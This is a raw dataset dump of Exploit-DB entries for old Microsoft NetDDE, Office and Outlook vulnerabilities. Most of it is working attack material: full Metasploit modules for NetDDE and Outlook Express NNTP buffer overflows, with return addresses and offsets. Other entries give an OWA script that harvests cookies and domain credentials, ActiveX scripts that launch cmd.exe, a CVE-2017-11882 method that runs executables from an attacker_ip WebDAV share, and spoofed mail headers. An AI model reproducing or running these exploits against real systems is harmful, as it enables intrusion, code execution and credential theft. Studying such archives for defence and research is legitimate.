deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16371
Description: Microsoft NetDDE Service - Remote Overflow (MS04-031) (Metasploit)
Type: remote
Platform: windows
Date: 2010-07-03
Author: Metasploit

Exploit:
##
# $Id: ms04_031_netdde.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft NetDDE Service Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the NetDDE service, which is the
				precursor to the DCOM interface.  This exploit effects only operating systems
				released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
				that this vulnerability can be exploited without authentication, the NDDEAPI
				pipe is only accessible after successful authentication.
			},
			'Author'         => [ 'pusscat' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '2004-0206'],
					[ 'OSVDB', '10689'],
					[ 'BID', '11372'],
					[ 'MSB', 'MS04-031'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'    => (0x600 - (133*4) - 4),
					'BadChars' => "\\/.:$\x00",       # \ / . : $ NULL
					'Prepend'  => 'A' * 8,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ],  # push esp, ret :)
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Oct 12 2004'))

		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use (nddeapi)", 'nddeapi']),
			], self.class)
	end

	def exploit
		connect()
		smb_login()
		print_status("Trying target #{target.name}...")

		handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
		print_status("Binding to #{handle}")
		dcerpc_bind(handle)
		print_status("Bound to #{handle}")

		retOverWrite =
			'AA' + (NDR.long(target.ret) * 133) + payload.encoded

		overflowChunk =
			retOverWrite +
			NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
			NDR.long(0x0)

		stubdata =
			NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
			NDR.long(rand(0xFFFFFFFF))

		print_status('Calling the vulnerable function...')

		begin
			response = dcerpc.call(0xc, stubdata)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		end

		handler
		disconnect
	end

end
Exploit-DB #43163
Description: Microsoft Office - OLE Remote Code Execution
Type: remote
Platform: windows
Date: 2017-11-20
Author: embedi

Exploit:
Source: https://github.com/embedi/CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

cmd.exe /c start \\attacker_ip\ff
Attacker controlled binary path should be a UNC network path:

\\attacker_ip\ff\1.exe
Usage

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name
Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43163.zip
Exploit-DB #32339
Description: Microsoft Organization Chart 2 - Remote Code Execution
Type: remote
Platform: windows
Date: 2008-09-08
Author: Ivan Sanchez

Exploit:
source: https://www.securityfocus.com/bid/31059/info

Microsoft Organization Chart is prone to a remote code-execution vulnerability because of a memory-access violation.

Remote attackers can exploit this issue by enticing victims into opening a maliciously crafted Organization Chart document.

Successful exploits may allow attackers to execute arbitrary code within the context of the affected application. Failed exploit attempts will likely result in a denial of service.

Microsoft Organization Chart 2.00,19 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32339.rar
Exploit-DB #20571
Description: Microsoft Outlook 2000 0/98 0/Express 5.5 - Concealed Attachment
Type: remote
Platform: windows
Date: 2001-01-17
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/2260/info

Versions of MS Outlook are vulnerable to receiving a hidden, potentially hostile attachment. An arbitrary string of characters, supplied by the sender to the 'subject:' field, will be received and interpreted by vulnerable versions of Outlook as an attachment to the message. If this string is properly constructed, it can be executable and capable of performing hostile actions on the vulnerable host.

This can also be used to circumvent Outlook's dangerous file security feature. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20571.zip
Exploit-DB #23796
Description: Microsoft Outlook 2002 - 'Mailto' Quoting Zone Bypass
Type: remote
Platform: windows
Date: 2004-03-09
Author: shaun2k2

Exploit:
source: https://www.securityfocus.com/bid/9827/info

Microsoft Outlook is prone to a vulnerability that may permit execution of arbitrary code on client systems. This issue is exposed through Outlook, but will reportedly cause Internet Explorer to load malicious content in the Local Zone.

This is related to how mailto URIs are handled by the software and may be exploited from a malicious web page or through HTML e-mail. This issue will permit a remote attacker to influence how Outlook invoked via mailto URIs, allowing for execution of malicious scripting in the Local Zone through an attacker-specified Outlook profile parameter.

** It was initially reported that exploitation of this issue will depend on the Outlook Today page being the default folder homepage. Additional details have been made available to indicate that in situations where this is not the default page, it is possible to use two mailto URIs to exploit the issue. The first URI would display the Outlook Today view and the second would include an embedded JavaScript URI.


<!-- Outlook mailto: URL argument injection
proof-of-concept exploit,
     by shaun2k2.  The exploit can be easily modified
to execute more
     malicious things.
-->

<html>
<body>
<!-- This is the exploit string. -->
<img src="mailto:aa" /select
javascript:alert('vulnerable')">
</body>
</html>
Exploit-DB #24114
Description: Microsoft Outlook 2003 - Mail Client E-mail Address Verification
Type: remote
Platform: windows
Date: 2004-05-11
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/10323/info

It has been reported that Microsoft Outlook mail client may be prone to a weakness that could allow a remote attacker to verify the validity of a recipient's e-mail address. This issue may result in a victim receiving more junk e-mail.

Microsoft Outlook 2003 is reported to be affected by this issue.

<v:vml frame style="LEFT: 50px; WIDTH: 300px; POSITION:
relative; TOP: 30px; HEIGHT: 200px"
src = "http://www.example.com/duh.txt#malware"></v:vmlframe>

<HTML>
<HEAD>
<STYLE>
v\:* { behavior: url(#default#VML); }
</STYLE>
<XML:NAMESPACE NS="urn:schemas-microsoft-com:vml" PREFIX="v"/>
</HEAD>
Exploit-DB #24101
Description: Microsoft Outlook 2003 - Predictable File Location
Type: remote
Platform: windows
Date: 2004-05-10
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/10307/info

Microsoft Outlook 2003 is reported to be prone to store files that are specified in img tags, in predictable locations. 

This may present a security risk because many known (and potential) Internet Explorer vulnerabilities depend on the attacker being able to directly reference malicious content on a victim system. Given both the ability to place such content on the file system and reference it specifically by location, exploitation of many browser-based vulnerabilities becomes possible.

<img src="malware.htm" style="display:none">
Exploit-DB #24686
Description: Microsoft Outlook 2003 - Security Policy Bypass
Type: remote
Platform: windows
Date: 2004-10-18
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/11446/info

Microsoft Outlook 2003 is reported prone to a security policy bypass vulnerability.

It is reported that by including a base64 encoded image in an email and labeling that image in a sufficient manner, it is then possible to reference this base64 encoded image.

This will result in a policy bypass because the image will be automatically rendered when the email is viewed in Outlook 2003. Although this issue is reported to affect Outlook 2003, other mail transfer agents may also be affected.

<img src="cid:malware">

------=_NextPart_000_0004_01C4B234.2209FD20
Content-Type: image/gif;
name="youlickit[1].gif"
Content-Transfer-Encoding: base64
Content-ID: <malware>

R0lGODlhogCiAOb/AP////8hAP8QAP8AAPdCAPcAAO97AO8IAOfeQufWUuetY+eUA
N7OEN7OAN7G
Exploit-DB #22869
Description: Microsoft Outlook 5.5/2000 - Web Access HTML Attachment Script Execution
Type: remote
Platform: windows
Date: 2003-07-05
Author: Hugo Vazquez

Exploit:
source: https://www.securityfocus.com/bid/8113/info

OWA contains a vulnerability that may result in attacker-supplied script code executing within the context of the mail interface when processing e-mail containing HTML message attachments. 

It is possible to prevent filtering of the attachment by omitting a certain URI parameter from a generated URL.

If did parameter does not exist, no filtering will be performed. Unfiltered, the script code will execute if embedded in an HTML email opened by a user.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<BODY bgColor=#ffffff>
<script type="text/javascript">
var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP")
xmlHttp.open("TRACE", "./", false)

xmlHttp.send()
xmlDoc=xmlHttp.responseText


str1=xmlHttp.responseText

splitString = str1.split("Authorization: Basic ")
str2=splitString[1]

var base64 = [
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', // 0 to 7
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', // 8 to 15
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', // 16 to 23
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', // 24 to 31
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', // 32 to 39
'o', 'p', 'q', 'r', 's', 't', 'u', 'v', // 40 to 47
'w', 'x', 'y', 'z', '0', '1', '2', '3', // 48 to 55
'4', '5', '6', '7', '8', '9', '+', '/' ]; // 56 to 63

function reverseBase64 () {
var r = new Object();
for (var i = 0; i < 64; i++) {
r[base64[i]] = i;
}
return r;
}

var reversedBase64 = reverseBase64();

function decode (encStr) {
var charCodes = new Array();
var decStr = "";
for (var i = 0; i < encStr.length; i++)
charCodes[i] = reversedBase64[encStr.charAt(i)];
for (var i = 0; i < encStr.length; i += 4) {
var bits24 = ( charCodes [i] & 0xFF ) << 18;
bits24 |= ( charCodes [i + 1] & 0xFF ) << 12;
bits24 |= ( charCodes [i + 2] & 0xFF ) << 6;
bits24 |= ( charCodes [i + 3] & 0xFF ) << 0;
decStr += String.fromCharCode((bits24 & 0xFF0000) >> 16);
if (encStr.charAt(i + 2) != '=') // check for padding character =
decStr += String.fromCharCode((bits24 & 0xFF00) >> 8);
if (encStr.charAt(i + 3) != '=') // check for padding character =
decStr += String.fromCharCode((bits24 & 0xFF) >> 0);
}
return decStr;
}

document.write("Your cookie is: ");
document.write(document.cookie);
document.write("<BR>Your domain credentials are: ")
document.write(decode(str2));


</script>

<DIV><FONT face=Arial size=2><A
href="http://<IP_or_name_of_the_server>/exchange/<username>/<inbox_name>/<subject>.EML/
1_multipart/2_text.htm">http://www.ilikemarijuana.com</A></FONT></DIV></BODY></HTML>
Exploit-DB #20079
Description: Microsoft Outlook 97/98/2000 / Outlook Express 4.0/5.0 - GMT Field Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2000-07-18
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/1481/info
 
All versions of Microsoft Outlook and Outlook Express are vulnerable to buffer overflow attacks where a remote user is capable of executing arbitrary code on an email recipient's system.
 
The problem lies in how Outlook and Outlook Express handles the parsing of the GMT section of the date field in the header of an email when downloading via POP3 or IMAP4. This process is handled by INETCOMM.DLL. Improper bounds checking exists on the token represented by GMT. Therefore, if a malicious user was to send a specially crafted email message containing an unusually long value in the GMT specification, the buffer would be overflowed making arbitrary code execution possible. Sending random data could cause the application to crash.
 
Eg:
 
Date: Tue, 18 July 2000 14:16:06 +1000<long string of characters>
 
This can also be achieved by encoding the specially formed GMT field as a MIME attachment in Outlook's MIME attached message format.
 
This lends itself to the possibility of a myriad of exploits, such as the execution of trojan horses, the spread of worms, gaining user level access on the target host, etc. automatically without the email recipient's consent to open an attachment or run an executable.
 
A user would only have to download an offending email in order to become susceptible to an attack.

Windows Console Version - 20079-2.exe
Windows Console Version Source - 20079-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20079-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20079-2.exe
Exploit-DB #20899
Description: Microsoft Outlook 97/98/2000/4/5 - Address Book Spoofing
Type: remote
Platform: windows
Date: 2001-06-05
Author: 3APA3A

Exploit:
source: https://www.securityfocus.com/bid/2823/info

Outlook Express is the standard e-mail client that is shipped with Microsoft Windows 9x/ME/NT.

The address book in Outlook Express is normally configured to make entries for all addresses that are replied to by the user of the mail client. An attacker may construct a message header that tricks Address Book into making an entry for an untrusted user under the guise of a trusted one. This is done by sending a message with a misleading "From:" field. When the message is replied to then Address Book will make an entry which actually replies to the attacker. 

Situation: 2 good users Target1 and Target2 with addresses target1@example.com and
target2@example.com and one bad user Attacker, attacker@example.com. Imagine Attacker wants to get
messages Target1 sends to Target2. Scenario:

1. Attacker composes message with headers:

From: "target2@example.com" <attacker@example.com>
Reply-To: "target2@example.com" <attacker@example.com>
To: Target1 <target1@example.com>
Subject: how to catch you on Friday?

and sends it to target1@example.com

2. Target1 receives mail, which looks absolutely like mail received from
target2@example.com and replies it. Reply will be received by Attacker. In this case
new entry is created in address book pointing NAME "target2@example.com" to
ADDRESS attacker@example.com.

3. Now, if while composing new message Target1 directly types e-mail
address target2@example.com instead of Target2, Outlook will compose address as
"target2@example.com" <attacker@example.com> and message will be received by Attacker.
Exploit-DB #21004
Description: Microsoft Outlook 98/2000/2002 - Arbitrary Code Execution
Type: remote
Platform: windows
Date: 2001-07-12
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/3026/info

Microsoft Outlook introduces a vulnerability that may allow attackers to execute arbitrary commands on a target system.

The vulnerability is due to a new ActiveX control called 'Microsoft Outlook View Control'. The flaw is that this control is marked 'safe for scripting' when it should not be. It is therefore accessible by scripts.

Scripts can execute commands without user knowledge or consent. 

This assumes you have at least one message in Outlook XP's Inbox
<br>
<object id="o1"
classid="clsid:0006F063-0000-0000-C[PII_REDACTED]00046"
>
<param name="folder" value="Inbox">
</object>

<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScript.Shell");

alert("Much more fun is possible");


vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}
setTimeout("f()",2000);
</script>
Exploit-DB #21003
Description: Microsoft Outlook 98/2000/2002 - Unauthorized Email Access
Type: remote
Platform: windows
Date: 2001-07-12
Author: Georgi Guninski

Exploit:
source: https://www.securityfocus.com/bid/3025/info

Microsoft Outlook introduces a vulnerability that may allow attackers to access and manipulate user email.

The vulnerability is due to a new ActiveX control called 'Microsoft Outlook View Control'. The flaw is that this control is marked 'safe for scripting' when it should not be. It is therefore accessible by scripts.

Scripts can access and perform operations on user email through this control without user knowledge or consent. 

This assumes you have at least one message in Outlook XP's Inbox
<br>
<object id="o1"
classid="clsid:0006F063-0000-0000-C[PII_REDACTED]00046"
>
<param name="folder" value="Inbox">
</object>

<script>
function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScript.Shell");

alert("Much more fun is possible");


vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}
setTimeout("f()",2000);
</script>
Exploit-DB #315
Description: Microsoft Outlook Express - JavaScript Execution
Type: remote
Platform: windows
Date: 2004-07-13
Author: anonymous

Exploit:
From:
To:
Subject:MSOE Scripting Example
Content-Type:text/html

<html>
<body>
<a href="javascript:opener.setTimeout('execScript(\'alert(document.body.innerHTML)\')',1);window.close(
)" target="_blank">click here</a> to test
</body>
</html>

# milw0rm.com [2004-07-13]
Exploit-DB #16379
Description: Microsoft Outlook Express - NNTP Response Parsing Buffer Overflow (MS05-030) (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: ms05_030_nntp.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::TcpServer
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the news reader of Microsoft
				Outlook Express.
			},
			'Author'         => 'MC',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2005-1213' ],
					[ 'OSVDB', '17306' ],
					[ 'BID', '13951' ],
					[ 'MSB', 'MS05-030' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00",
					'MaxNops'  => 0,
					'StackAdjustment' => -3500,
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],
					['Windows XP English SP0/SP1',   { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 14 2005',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])
			], self.class)
	end

	def on_client_connect(client)
		yup = "200\r\n"

		client.put(yup)
		client.put(yup)
	end

	def on_client_data(client)
		return if ((p = regenerate_payload(client)) == nil)

		filler =  "215 list\r\n" + "group "
		filler << rand_text_english(target['Offset'])
		seh    =  generate_seh_payload(target.ret)
		sploit =  filler + seh + " 1 y\r\n\.\r\n"

		print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
		client.put(sploit)

		handler
		service.close_client(client)
	end

end
Exploit-DB #313
Description: Microsoft Outlook Express - Window Opener
Type: remote
Platform: windows
Date: 2004-07-13
Author: anonymous

Exploit:
Example:

   Alright microsoft. Get your act together. Seriously, this is the 3rd version of this
   vulnerability and we can still cause a drag and drop event.
   Well anyway, to the people that don't design easily exploited software, simply click the link
   on the popup that points to 'The Better Browser' (Hmm, wonder what that could be...) to cause
   a drag and drop event and add it to your favorites. <html> <body> <table width="100%"
   height="100%" border=3><tr><td valign=top> <br><center> Click this link: <a
   href="http://www.mozilla.org/products/firefox/" id=anch
   onmousedown="parent.nsc.style.width=2000;parent.nsc.style.height=2000;parent.pop.show(1,1,1,1
   );parent.setTimeout('showalert()',3000);">The <i>Better</i> Browser</a> </td></tr></table>

# milw0rm.com [2004-07-13]